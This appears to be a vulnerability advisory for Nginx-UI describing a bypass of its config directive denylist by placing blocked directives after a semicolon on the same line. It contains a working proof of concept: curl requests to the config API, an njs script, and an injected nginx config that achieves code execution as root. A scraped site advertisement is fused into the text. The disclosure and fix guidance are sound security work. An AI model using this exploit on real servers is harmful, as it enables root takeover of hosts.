| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/0xJacky/Nginx-UI | < 1.9.10-0.20260703131214-23d1934099b0 | 1.9.10-0.20260703131214-23d1934099b0 |
config.ValidateConfigFile is the security control that blocks dangerous nginx directives
(js_*, perl_*, load_module of njs/perl modules, user root). Its directive scanner is
bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but
nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked
directive after a ; on the SAME line defeats every check. The include directive is also not on
the denylist. As a result, an authenticated caller can inject the exact directives the hardening was
meant to block, through EVERY path that calls the validator — POST /api/configs (add), the REST
config modify endpoint (api/config/modify.go), the MCP nginx_config_modify tool, and the
site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where
nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngx_http_js_module.so),
this leads to code execution in the nginx worker; with user root the workers run as root.
This is distinct from the config_add gap (the MCP nginx_config_add tool not calling the validator at all): here the validator IS called and still bypassed, so fixing config_add does not fix this.
for _, line := range bytes.Split(content, []byte("\n")) { // splits on \n only
trimmed := strings.TrimSpace(string(line))
...
directive := firstDirectiveToken(trimmed) // first [a-zA-Z_]* of the line
if directive == "user" && configuresRootWorkers(trimmed) { ... } // keyed on first token
if directive == "load_module" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token
if _, blocked := blockedConfigDirectives[directive]; blocked { ... } // keyed on first token
}
nginx parses a 1; b 2; on one line as two directives, but this scanner only ever sees a.
include is absent from blockedConfigDirectives.
Authenticated with a node secret (X-Node-Secret, from nginx-ui's first-boot log) or a user JWT.
Every step below hits a path that calls ValidateConfigFile.
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
-d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}'
# -> 40017 "file content contains restricted nginx directive: js_import" (REJECTED)
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freepoc.conf:
import fs from 'fs';
function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); }
export default { pwn };
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
-d '{"name":"poc.conf","base_dir":"","content":"<the JS above>","overwrite":true}' # ACCEPTED
nginx_config_modify MCP tool, smuggling each
blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile):worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
error_log /var/log/nginx/error.log notice; user root;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
include /etc/nginx/mime.types;
default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf;
server { listen 8897; location = /pwn3 { js_content poc.pwn; } }
}
nginx -t successful./proc/<pid>/status → Uid: 0 0 0 0 (root) — the blocked user root took effect.GET http://127.0.0.1:8897/pwn3 → pwned2 — js_content executed./tmp/NJS_VIA_DENYLIST_BYPASS.txt created, owned by root → njs code execution as root.(An MCP-over-SSE client for steps using nginx_config_modify is included in the config_add report as
poc_mcp_client.py; the same client drives this PoC. X-Node-Secret authenticates both REST and MCP.)
Authenticated config-injection that defeats the directive-validation control on all guarded write
paths. On deployments with njs/perl available (the official Docker image ships ngx_http_js_module.so):
code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially
escalated to full host compromise). On stock nginx without those modules: reliable DoS (failed
reload) plus user root privilege regression.
POST /api/configs (add) and the MCP
nginx_config_modify tool. The other callers — REST config modify (api/config/modify.go), site
save (internal/site/save.go), stream save (internal/stream/save.go) — invoke the SAME
ValidateConfigFile (code-confirmed), so they are affected by construction; I did not individually
live-test each.load_module/js_* make reload fail → DoS plus a user root privilege regression (inferred from
nginx module behavior; not separately tested on a stock build).; and include bypasses are fully confirmed live. A backslash line-continuation variant was
accepted by the validator but its nginx parsing was not separately confirmed and is not relied on.fs (proven: a
root-owned file was written); the subsequent authorized_keys/cron step is a well-known escalation,
not something this PoC executed.Do not hand-roll a newline/first-token denylist. Validate the way nginx parses: split statements on
; (and handle blocks, comments, line continuations), validate EVERY statement, block/limit
include, and recurse into included files — or validate via an allowlist and/or by running
nginx -t on the candidate before activating it.
Distinct from CVE-2026-33032 (unauthenticated MCP endpoint — an auth issue, now fixed) and from the separately reported config_add validation gap (a missing validator call on one path). This is a bypass of the validator itself, affecting every path that calls it; no existing CVE/GHSA covers it (checked osv.dev and the GitHub advisory database for this repo). Appears novel.